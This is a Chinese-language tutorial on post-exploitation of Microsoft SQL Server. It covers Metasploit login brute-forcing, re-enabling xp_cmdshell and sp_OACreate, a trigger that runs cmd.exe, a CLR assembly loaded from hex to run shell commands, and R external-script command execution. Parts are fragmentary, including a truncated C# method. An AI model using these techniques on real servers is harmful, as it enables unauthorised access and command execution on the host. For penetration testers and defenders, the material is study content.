设置可远程访问SQL server 2005,首先查看SQL server 2005 TCP/IP协议访问的端口1433;其次配置防火墙允许其端口的访问。
使用msf来执行爆破
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use auxiliary/scanner/mssql/mssql_login
SQL Server危险的存储过程
xp_cmdshell
查询xp_cmdshell存储过程是否存在
xtype为对象类型,xtype=’x’,表示存储过程的对象类型为扩展存储过程。
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select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
TSQL代码判断是否开启xp_cmdshell
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declare @RunningOnACluster char(1) declare @xp_cmdshell_available char(1) declare @result int set @xp_cmdshell_available='Y' set @result=0 select @RunningOnACluster=case when convert(int, serverproperty('IsClustered')) = 1 then 'Y' else 'N' end if(0=(select value_in_use from sys.configurations where name='xp_cmdshell')) set @xp_cmdshell_available='N' if @RunningOnACluster='Y' begin if @xp_cmdshell_available='Y' select @result=1 if @xp_cmdshell_available='N' select @result=2 end select @result
恢复xp_cmdshell存储过程
解决Error Message:未能找到存储过程 ‘master..xp_cmdshell’。
第一步先删除:
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drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell'
if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]')) dbcc addextendedproc ('xp_cmdshell','xplog70.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_dirtree]')) dbcc addextendedproc ('xp_dirtree','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_fixeddrives]')) dbcc addextendedproc ('xp_fixeddrives','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regwrite]')) dbcc addextendedproc ('xp_regwrite','xpstar.dll') if not exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_regread]')) dbcc addextendedproc ('xp_regread','xpstar.dll')
set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [test1] on [test] AFTER UPDATE as begin execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go
执行下列更新test表操作,test1触发器触发。
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UPDATE test SET name = 'wangwu' WHERE LastName = 'zhangsan'
SQL Server COM组件
SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。
SP_OACREATE
查看SP_OACREATE状态。
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select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
利用count(*)判断是否存在,,存在即返回1。
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select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
启用SP_OACREATE
利用sp_configure存储过程,启用SP_OACREATE
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exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
CLR微软官方把他称为公共语言运行时,从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server;
public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand (string cmd) { // 在此处放置代码 SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } public static string RunCommand(string filename,string arguments) { var process = new Process();
process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; }
ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;
对于所有版本:
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DROP PROCEDURE debugrun; DROP ASSEMBLY clrassem; sp_configure 'clr strict security',1;RECONFIGURE sp_configure 'show advanced options',0;RECONFIGURE
利用SQL语句导入程序集
现在可以利用16进制文件流方式导入DLL文件,这样不需要文件落地。
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CREATE ASSEMBLY [Database1] AUTHORIZATION [dbo] FROM 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WITH PERMISSION_SET = UNSAFE; GO
创建存储过程
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CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand] go
EXEC sp_configure 'external scripts enabled', 1 RECONFIGURE WITH OVERRIDE
重新启动数据库服务器
用户拥有执行任何外部脚本权限
R脚本利用
利用R执行命令:
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sp_configure 'external scripts enabled' GO EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO